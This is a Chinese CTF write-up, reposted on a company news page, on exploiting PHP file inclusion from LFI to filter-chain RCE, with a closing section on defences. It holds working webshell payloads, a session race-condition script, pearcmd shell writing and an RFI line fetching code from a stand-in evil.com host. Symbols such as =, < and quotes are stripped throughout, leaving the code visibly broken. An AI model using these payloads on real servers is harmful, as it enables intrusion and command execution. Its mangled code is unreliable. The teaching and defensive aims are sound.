资讯动态

文件包含漏洞实战指南:从LFI到过滤器链的利用与防御

发布时间:2026/10/17 13:41:44 来源:尧图企业网站定制
做Web安全绕不开文件包含这道坎不管是CTF里刷题冲分还是真实渗透测试中尝试从任意文件读取打到代码执行文件包含File Inclusion都是出现频率极高的一类漏洞。我最近把某CTF练习平台上web78到web88、web116到web117这一串文件包含题目整体过了一遍数量不多但覆盖面相当完整从最基础的无过滤直接读文件到伪协议读源码再到日志包含、Session文件包含、条件竞争、过滤器链绕过最后还有多层过滤叠加的压轴题。这一套题刷下来基本能把文件包含漏洞的利用路径走通一大半。这篇文章不是给你贴十几个payload就完事而是把每个利用方式背后的原理、触发条件、过滤绕过思路拆开讲清楚顺带把我自己踩过的坑和做这类题的排查套路一并整理出来。无论你是刚入门Web安全、准备打CTF的新手还是已经有一定基础但总觉得文件包含题目变化太多、对不上思路的选手这篇都能给你一套可以直接复用的解题框架。1. 文件包含到底在考什么先把漏洞模型装进脑子1.1 一个include引发的血案LFI与RFI两种形态先回到最基础的问题文件包含漏洞为什么危险PHP里的include、require这类语句作用是把一个文件加载进来同时把它当成PHP代码解析执行。你可以把它理解成开会时有人念材料材料里如果夹着指令念的人也会照做。正常业务中开发者会用include去加载模板、语言包、页面文件这本来没问题但当include的参数来自用户输入比如?pageuserinfo.php这种写法攻击者就可以篡改参数让程序去加载一个本不该加载的文件。文件包含根据包含的内容从哪里来分成两种形态本地文件包含LFI包含的是服务器本地的文件比如?file/etc/passwd、?file../../flag这种利用方式门槛最低只要能控制路径通常不需要额外配置。远程文件包含RFI包含的是远程URL上的文件比如?filehttp://evil.com/shell.txt。这种利用方式威力更大但PHP默认配置下allow_url_include是关闭的所以RFI在很多CTF题目里并不可行命题人一般会通过配置开启或者用伪协议变相实现类似效果。很多新手容易混淆的一点是文件包含漏洞和目录穿越不是一回事。目录穿越只是读文件而文件包含是把文件内容拿进来执行。这意味着只要你包含的目标文件里有可控内容就有机会把读文件升级成执行命令。做题时你会发现大部分文件包含题目的最终目标不是读一个flag文件而是先想尽办法获得代码执行能力再去执行命令找flag。1.2 拿到文件包含题先问自己四个问题我刷这类题时习惯先不急着试payload而是像排查故障一样先收集信息。一道文件包含题到手我会依次确认四件事第一入口在哪。是GET参数还是POST参数参数名是什么常见的命名有file、page、path、include、template题目一般会直接暴露在URL里。第二它怎么include的。是直接include($_GET[file])还是拼了前缀或后缀比如include(pages/ . $file . .php)。这个细节决定了你能不能随便用路径穿越也影响了伪协议是否还能生效——include(pages/php://filter/...)这种拼法是没意义的本质上拼出来的是一个非法路径。第三过滤了什么。这是最关键的一步。有些题目会直接给你看过滤代码有些则需要靠报错和回显去试。常见过滤维度包括协议关键词filter、input、data、路径符号..、/、文件关键词flag、php、扩展名后缀等。第四有没有回显。包含文件后内容会输出到页面吗如果不输出是否可以配合报错信息判断内容如果是伪协议读源码需要base64编码才能避开执行如果是直接包含文件需要关注页面里哪些部分是可控的。把这四个问题摸清再对照我后面整理的几种利用姿势基本就能锁定该走哪条路。很多新手卡住不是因为payload不对而是因为没先搞清这道题到底堵了哪条路。2. 从送分到入门前四题把最常用的三条路走一遍2.1 web78无过滤直接读先分清读文件和执行代码这题是整套系列最友好的一道上来就是经典的?fileflag.php。看起来简单但它其实是理解后续所有题目的地基。直接访问?fileflag.php时include会把flag.php加载进来内容里如果有?php ... ?里面代码会被执行页面只显示执行结果通常是一片空白或部分输出看不到源码。但如果flag文件内容是纯文本比如flag.txt那内容会原样输出到页面上。所以当题目的flag藏在php文件里直接include往往是看到结果但看不到代码的状态。实际操作时可以多做几个测试?file/etc/passwd看能不能读到系统文件?file../../../../flag测试目录穿越深度?file./flag.php测试相对路径。这些测试的目的不是立刻拿到flag而是确认include的上下文是相对当前目录解析还是绝对路径解析路径穿越要补多少个../。2.2 web79php://filter 读源码为什么要套一层base64接下来题目开始回归正题怎么在不执行代码的情况下看到源码内容答案是PHP伪协议php://filter。payload长这样?filephp://filter/readconvert.base64-encode/resourceflag.php看到这个别急着复制先理解它干了什么。php://filter是一个流过滤器包装器它能把读取的内容经过一个或多个过滤器处理后输出。这里我指定了convert.base64-encode这个过滤器含义是读取flag.php的内容先进行base64编码再输出。关键是输出的是一串base64编码文本不是PHP源码本身所以include执行阶段不会触发代码执行编码文本只是被原样输出到页面。拿到那串base64之后解密就能看到flag.php的真实源码。为什么必须编码如果不加convert.base64-encode直接?filephp://filter/resourceflag.php那效果和直接包含flag.php一样源码被执行了你什么都看不到。这就是这个过滤器的核心价值把执行文件变成读文件内容。这类题有个习惯要养成拿到一个文件包含入口第一时间用php://filter读一下index.php或题目主文件的源码看看过滤逻辑是什么、flag文件在哪里。后面的题目过滤越来越狠信息差往往就藏在源码里。2.3 web80日志包含第一次体会借刀杀人到了web80题目开始过滤伪协议关键词php://filter大概率不能用直接读也被堵了怎么办换个思路既然我不能直接控制include的文件路径指向一个带PHP代码的文件那我能不能先让服务器自己在某个文件里写入PHP代码再去包含它这就是日志包含。Web服务器Nginx/Apache在运行时会记录访问日志包括User-Agent等HTTP头信息。我只需要把User-Agent设置成一段PHP代码然后去访问目标站点这段代码就会原封不动写入日志文件。最后用文件包含去包含日志文件日志里的PHP代码就会被执行。实际操作流程# 第一步用UA携带PHP代码访问目标 curl http://target/index.php -H User-Agent: ?php system(\$_GET[cmd]); ? # 第二步包含日志文件并传命令执行 curl http://target/index.php?file/var/log/nginx/access.logcmdcat /flag日志路径需要根据服务器类型猜常见的组合有Nginx/var/log/nginx/access.logApache/var/log/apache2/access.log、/var/log/apache/access.log容器环境有时候在/var/log/下会有变化这里有一个很坑的细节日志文件通常很大包含日志时如果日志里有大量请求记录可能导致超时或响应特别慢。做题时尽量用一次UA注入请求加一次包含请求不要反复刷页面积累脏日志。另外如果过滤了system这类函数关键词UA里可以用assert、eval等函数变形或者用$_GET[cmd]接外部参数的方式减少直接写敏感词的暴露面。日志包含是间接利用的典型代表它的思维价值在于当你没法直接控制要包含的文件内容时就去寻找服务器上内容可由你写入的文件。日志算一个后面讲的Session文件、临时文件也算。2.4 web81php://input把请求体变成要执行的代码web81开始进入直接执行代码的环节。php://input这个伪协议很有意思它相当于把HTTP请求体当作输入流。配合include使用等于让include直接把你POST提交的内容当成文件来解析。条件是这个协议可用需要allow_url_includeOn。验证方式也很简单直接试一次就知道了。curl http://target/index.php?filephp://input \ -d ?php system(cat /flag); ?如果配置允许POST的body就会被当作PHP代码执行命令直接回显。这个技巧比data协议更隐蔽因为payload在请求体里不会出现在URL上。不过它也有限制如果题目过滤了php://input这个关键词或者把include参数拼了前缀后缀这个方法就会失效。我在做这类题时经常在php://input和data://之间来回切换因为这两个协议的生效条件几乎一样但过滤规则未必都覆盖。它们俩一个把执行代码放在POST体一个放在URL里属于互补关系。3. 中段题开始上强度从读到写session包含与临时文件3.1 命题人堵了什么路伪协议全被banweb82到web86这一组难度明显上升。常规路数基本被堵死php://input和data://被过滤php://filter也不可用路径穿越要么被过滤、要么根本读不到目标。但核心的include能力还在这意味着我们仍然有RCE的入口只是缺一个内容可控的文件。这类题的突破口往往是Session文件。PHP在启动Session时会在服务器上生成一个文件路径一般由session.save_path决定默认是/tmp文件名规则是sess_加上会话ID比如/tmp/sess_a1b2c3d4e5。Session文件的内容通常由开发者写入看起来不可控但有一个PHP特性可以利用session.upload_progress。这个机制是PHP 5.4以后引入的设计初衷是让上传文件时能向前端反馈进度。当一个上传请求的multipart表单里带有名为PHP_SESSION_UPLOAD_PROGRESS的字段时PHP会把该字段的值和上传进度信息一起写入Session文件。换句话说这个字段的内容我们可以完全控制而它会被写进服务器上的文件里。设想一下既然Session文件内容可控那我们只需要在PHP_SESSION_UPLOAD_PROGRESS字段里放PHP代码再去包含那个Session文件不就能执行代码了3.2 session.upload_progress 的完整利用链为了让思路清晰我把完整利用步骤拆开第一步先确认Session文件路径和会话控制方式。发送请求时带上一个固定的PHPSESSID比如PHPSESSIDmysess这样Session文件名就是可预测的/tmp/sess_mysess。第二步构造上传请求在multipart表单里加入字段PHP_SESSION_UPLOAD_PROGRESS?php system($_GET[cmd]); ?同时随便上传一个文件哪怕只是个空文件也行。PHP收到这个请求后会把?php system($_GET[cmd]); ?写进对应的Session文件。第三步立刻去包含Session文件?file/tmp/sess_mysesscmdcat /flag理想情况下include加载Session文件遇到里面的?php ... ?标签执行代码。但是有一个关键问题Session文件不是一直保留我们写入的内容。PHP在每次请求结束后可能会清理上传进度数据或者把内容重置成序列化后的空数组导致我们第二次访问时Session文件里已经没有恶意代码了。解决思路是条件竞争一边持续发送带恶意字段的上传请求来续命另一边反复请求包含Session文件抢在内容被清理前执行。这类题我用Python脚本写过竞争小工具核心逻辑大概是import requests import threading url http://target/index.php sess_id mysess payload ?php system($_GET[cmd]); ? def write_session(): while not stop_event.is_set(): data { PHP_SESSION_UPLOAD_PROGRESS: payload } files {file: (a.txt, hello)} requests.post(url, datadata, filesfiles, cookies{PHPSESSID: sess_id}) def read_session(): while not stop_event.is_set(): resp requests.get(url ?file/tmp/sess_ sess_id cmdcat /flag, cookies{PHPSESSID: sess_id}) if flag in resp.text: print(resp.text) stop_event.set()写竞争脚本有几个经验线程数量不宜太多几十到上百个就够太猛容易把靶机打崩写Session的请求体里别放太大文件空文件足够触发机制读Session的请求和写Session的请求要尽量并行因为Session文件的有效窗口很短。3.3 临时文件包含另一种借服务器的手Session包含之外中段题还有一种思路就是包含上传临时文件。PHP处理上传请求时会先在上传临时目录Linux下通常是/tmp生成一个临时文件文件名形如/tmp/phpXXXXXX处理完立即删除。利用这个特性我们可以构造一个上传请求POST体里包含PHP代码然后在临时文件存活的那一小段时间里抢在删除之前用include去包含它。难点在于临时文件名是随机的而且存活时间极短比Session文件更难以预测。实际操作中这类利用一般也是靠条件竞争大量上传带恶意代码的文件同时不断尝试包含不同的/tmp/php??????路径。只要你发的请求够多、尝试够频繁总有一次能撞上窗口期。不过相比Session包含临时文件包含在CTF里稳定性差一些因为需要爆破文件名和竞争窗口。我自己的经验是如果Session方案可行优先Session方案临时文件包含更多是在Session功能被关闭或路径异常时的Plan B。4. 过滤器上做文章data协议、关键字绕过与filter链RCE4.1 web87data:// 直传payload以及它的前提web87考察的重点是data://伪协议。这个协议可以直接把一段数据当作文件流来读取配合include就是直接执行代码。常用payload有两种写法# 明文写法 ?filedata://text/plain,?php system(cat /flag); ? # base64写法避免特殊字符被过滤或编码问题 ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pgbase64写法的好处是原始Payload里的、、?、空格这些特殊字符都被编码掉了不容易触发关键词过滤也避免URL编码问题。前提条件同样是allow_url_includeOn。如果启动不了页面会报错或者不执行。做题时可以先试一下php://input再试data://总会有一个能用的。这类题的变种是过滤了data关键词本身。这时需要脑洞一下协议名大小写是否被过滤DAta://这种写法在PHP里能不能解析实际上PHP的流协议名是大小写不敏感的DATA://、Php://input都可用。如果过滤规则只检测了小写形式这就是一个快速绕过点。如果大小写绕过无效可以试试URL编码%64%61%74%61部分过滤代码在检测时没有对参数进行URL解码就能绕过。4.2 web88当关键字被过滤php://filter 也能RCEweb88这类题有点意思它会把flag、php、filter这些关键词统统过滤掉甚至把常见伪协议也ban了看起来无解。但仔细分析include仍然存在而且php://filter这个协议并没有完全消失——只是里面的关键词不能直接出现。第一种绕过思路是处理资源名的关键词过滤。比如要读flag.php但flag被过滤了可以用URL编码fla%67.php。PHP在打开流资源时会解码URL编码%67就是字符g。也可以试试大小写如果flag文件名是flag.php且Linux区分大小写这个办法无效但可以作为测试项。第二种思路更进阶既然php://filter允许叠加多个过滤器我们就可以构造一组iconv字符编码转换链让包含的文件内容在经过多次转换后最终变成一个可执行的PHP代码串。这就是常说的filter chain RCE也叫过滤器链利用。它不需要文件内容里本身有PHP代码只要目标文件内容存在且可控就能通过精心设计的编码转换无中生有地合成出代码。我第一次看到这个利用时也觉得像魔法但原理并不玄乎php://filter的过滤器是按顺序处理的比如convert.iconv.UTF-8.UTF-7会把UTF-8转成UTF-7convert.base64-decode会解码base64。如果把多个convert.iconv过滤器叠加它们会把输入从一种编码转成另一种编码而不同编码之间的映射关系是确定的。攻击者可以从一段普通文本开始经过特定的编码转换让输出变成另一段指定字符序列——也就是我们想要的PHP代码。手工构造编码链极其繁琐通常用脚本来生成思路是逆向推导先确定目标PHP代码的字符序列然后往前寻找每一步的编码转换使得每一步的输出都合法。社区里已经有成熟的生成脚本输入一个PHP payload脚本会输出一长串php://filter过滤器链。CTF题目里看到有人用一串几百上千字符的URL大概率就是这种利用。但要注意过滤器链RCE对PHP版本有要求且URL长度可能超限。它不是万金油而是大过滤场景下的最后手段。做题顺序应该是先试简单方案再用链。4.3 过滤绕过速查表常见过滤与对应绕过刷到web87和web88时你已经会遇到大量过滤规则。我把常见的过滤边界整理成一张表方便做题时对照排查过滤目标常见绕过手段关键点flag关键词URL编码、大小写、软链接、命令里通配符路径层与命令层分开考虑php关键词PHP://input大小写、data://替代协议名大小写不敏感filter关键词php://filter编码形式、改用php://inputfilter只是过滤器包装器../路径穿越绝对路径、编码、..;/变体有时候读系统文件根本不需要穿越system等函数assert、eval、call_user_func等替代函数过滤不等于代码执行被禁止扩展名拼接伪协议不受拼接影响、%00截断拼接.php时filter反而更好用这张表不用背做题时遇到卡点再去对照。重点是要形成条件反射看到过滤先想它过滤的是我URL里的明文还是文件内容里的词这是两种完全不同的绕过路径。很多时候过滤检查的是GET参数本身我们就可以用编码、大小写、拼接思路如果过滤的是目标文件内容那就得换文件、换协议甚至换利用链。5. 压轴题一场套娃过滤的实弹演练5.1 出题人的套娃套路多层过滤叠加web116和web117是整套系列的压轴给人的第一感受就是过滤叠满了。我简单梳理一下这类题的典型配置路径穿越被过滤走了回头路data://、php://input被过滤伪协议RCE不可用php://filter关键词被过滤读源码也难。看起来攻击面全被堵死。但出题人留了一个口子过滤往往是检测字符串层面而不是功能禁用层面。比如只过滤了小写关键词没过滤大小写混合过滤了../但绝对路径不在检测范围过滤了常见协议但某些不那么起眼的协议还能用。面对套娃过滤我推荐按排除法来走第一步逐个测试协议是否还能用。php://input、data://、php://filter、phar://、zip://每个都试一遍注意大小写变体和编码形式。第二步测试路径穿越是否真的被堵死。如果../被过滤试试绝对路径试试....//、%2e%2e%2f、双重编码。有些过滤做了但只做了一次替换双写就能绕过。第三步如果所有协议都不可控考虑转换思路把利用协议改成利用服务器上的现成文件。比如pearcmd.php。5.2 高级考点pearcmd利用与意外之喜pearcmd.php是PHP安装时可能带的一个命令行工具文件常见路径是/usr/local/lib/php/pearcmd.php。在特定PHP版本大致8.1之前且register_argc_argv开启的情况下可以通过包含pearcmd.php来执行命令。这个文件本来是用来执行PEAR命令的但查询字符串里的参数会被解析成命令行参数。经典利用方式是?file/usr/local/lib/php/pearcmd.phpconfig-create/?eval($_POST[1]);?/tmp/evil.php执行逻辑是pearcmd.php收到config-create命令把?eval($_POST[1]);?写入到/tmp/evil.php这个文件里。写入成功后再去包含/tmp/evil.php配合POST参数1system(cat /flag);就能执行命令。这个技巧的关键启示是文件包含的参数不一定只能指常规文件任何PHP能加载的文件都可以尝试。CTF里应用最广的几个现成文件包括pearcmd.php、mbox文件、/proc/self/environ等。理解了这一点当协议全被ban时你还有target文件这条路可以走。5.3 做题方法论三层判定法把web116、117这类组合题打穿之后我总结了一套适用于几乎所有文件包含题的三层判定法每次卡住就按这个顺序过一遍。第一层能不能包含到指定内容。也就是include的目标路径是否能指向某个真实存在的文件在这个层面上检查的是协议是否可用、路径是否正确。第二层内容里有没有恶意代码。目标文件的内容是否可控制或者能否通过过滤器转换出代码。这一层决定了你是读文件还是能RCE。第三层恶意代码能不能被解析。include加载文件后文件里的PHP代码是否会被执行。常规文件直接包含即可Session文件、日志文件、pearcmd写入的文件都满足这个条件。每道题卡住时问自己到底是哪一层断了。如果第一层断了去思考绕过路径和过滤如果第二层断了去考虑内容可控的注入点如果第三层断了去检查是不是扩展名拼接、是不是文件内容被转义。这套框架能帮你快速定位问题在哪避免盲目试payload。6. 做题之外从攻击视角转回防御与代码审计6.1 审计视角哪些include写法一眼就有问题刷了这么多题反过来再看代码审计文件包含漏洞的病根其实非常清晰。最典型的危险写法有这么几类第一种是最裸的include($_GET[file]);。无过滤、无校验用户传什么就包含什么这种代码在现代CTF练习平台里算是教学样本但真实代码里偶尔也能见到多是历史遗留项目。第二种是拼接后没校验include(pages/ . $_GET[page] . .php);。开发者以为拼了.php后缀就安全了但实际上路径穿越加伪协议都能绕过比如?page../../../../tmp/evil配合.php后缀猜文件或者利用php://filter时拼接反而无关紧要。第三种是黑名单过滤不完整。很多开发者在include前做关键词过滤但过滤思路停留在堵已知攻击词比如把../、filter、flag拉进黑名单就以为万事大吉。实际上编码、大小写、双写、协议切换都是黑名单永远追不上的漏洞点。这也是web88和web116这类题目能成立的根本原因。第四种是过滤逻辑执行顺序错误。比如先过滤再include但过滤的是解码前的参数或者只做了str_replace一次替换没有递归处理。这类逻辑漏洞在真实代码里出现频率很高。6.2 加固清单从配置到代码的完整防御文件包含漏洞的防御其实不复杂关键是要做组合拳。第一能用白名单绝不用黑名单。如果include的候选文件只有固定几个直接写死数组比对这是最稳的方案。$allowed_pages [home, about, contact]; if (in_array($_GET[page], $allowed_pages, true)) { include pages/ . $_GET[page] . .php; } else { exit(Invalid page); }白名单之外都应该拒绝不给任何绕过空间。第二关闭危险配置。allow_url_includeOff必须关死这是阻止php://input、data://、RFI的关键开关。register_argc_argvOff能堵住pearcmd这类利用。第三用open_basedir限制文件访问范围。把PHP能读取的文件目录限制在站点目录内即使发生包含攻击者也很难读取/etc/passwd等系统文件更不用说包含/tmp下恶意文件了。第四禁用危险函数。system、exec、shell_exec、passthru这些命令执行函数在不需要的业务环境里全部禁用。这样即使攻击者拿到RCE能力命令执行的路径也被拦了一道。第五升级PHP版本。很多文件包含的老技巧依赖旧版本的特性比如%00截断在PHP 5.3.4以后被修复pearcmd利用在PHP 8.1以后基本失效。保持版本更新能天然免疫一大批历史攻击手法。7. 做题踩坑记录与效率工具7.1 我踩过的五个坑刷完这一整套题我把踩过的坑整理了几条写在这里帮大家省时间。第一个坑伪协议过滤判断不准。有些题过滤规则写的是preg_match(/php|data|input/i, $file)然后我就以为php://filter完全不可用。但其实URL编码后%70%68%70://filter可能就绕过了。正确做法是逐个字符编码试探不要因为一个关键词被过滤就放弃整条路。第二个坑日志包含时忘记日志文件巨大。我一开始用浏览器直接访问目标页面UA加了payload然后把整个日志包含回来页面直接卡死。后来学乖了用curl单次请求注入包含时用cmdcat%20/flag尽量减少日志体积带来的影响。第三个坑Session目录不是默认路径。写竞争脚本时一直包含/tmp/sess_mysess结果怎么也触发不了后来才发现题目环境里session.save_path被改到了/var/lib/php/sessions。所以做题第一步还是要先读源码别靠猜。第四个坑忘记URL编码payload里的空格被后端吃掉。尤其在data://和日志注入场景里空格和特殊字符如果不编码中间可能被解析器处理掉导致payload残缺。base64编码的写法能完美规避这个问题。第五个坑过滤器链URL过长。用生成脚本搞出来的filter链字符串动不动几千字符有些服务器默认限制了URL长度直接返回414或者被截断。遇到这种情况试试缩短目标代码长度、换一个更短的payload变形或者改用POST方式传递部分内容。7.2 值得收藏的自动化脚本思路做题效率很大程度上取决于工具化程度。我常用的自动化辅助有三类第一类是协议探测脚本。简单写一个Python脚本把常见的伪协议、路径穿越、编码绕过的payload批量提交根据响应差异自动判断哪些利用方式可用。import requests payloads [ php://filter/readconvert.base64-encode/resourceindex.php, php://input, data://text/plain,?php echo 1;?, phar://xxx, ../../../etc/passwd, ..././..././..././etc/passwd, %2e%2e%2fetc%2fpasswd, ] for p in payloads: resp requests.get(fhttp://target/index.php?file{p}, timeout5) if resp.status_code ! 404 and len(resp.text) 0: print(p, resp.status_code, len(resp.text), resp.text[:100])注意控制请求频率尤其是本地靶机并发太高容易把环境打崩。第二类是Session竞争脚本前面已经给了代码框架。这类脚本的关键是停止条件要灵敏拿到flag立刻停止别把靶机打挂。第三类是filter链生成器这个社区工具非常成熟输入一句话payload就能生成完整利用链。用它做完题后建议看看生成的链内容理解一下过滤器组合的走向水平会提升很快。我个人做这类题还有一个习惯每次遇到新的过滤规则和对应的绕过方式就记在一张自己的速查表里标注哪种过滤下哪种绕过有效、无效、不确定。时间长了这张表比任何公开教程都值钱因为你记录的是自己验证过的结论踩过坑才知道边界在哪里。文件包含这个考点最大的魅力在于它把输入和文件两个概念串在了一起每道题都像一次小型推理你控制了什么服务器帮你写了什么程序又执行了什么。这个系列的题刷完我觉得收获最大的不是会了某个具体payload而是建立了一种思维方式拿到一个入口先分析哪些因素可控再沿着读文件-写文件-执行代码链条逐层推进关卡再多也有迹可循。后面我再遇到phar反序列化、临时文件包含、软链接绕过这些更偏门的考点也用同样的框架去拆思路就顺多了。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑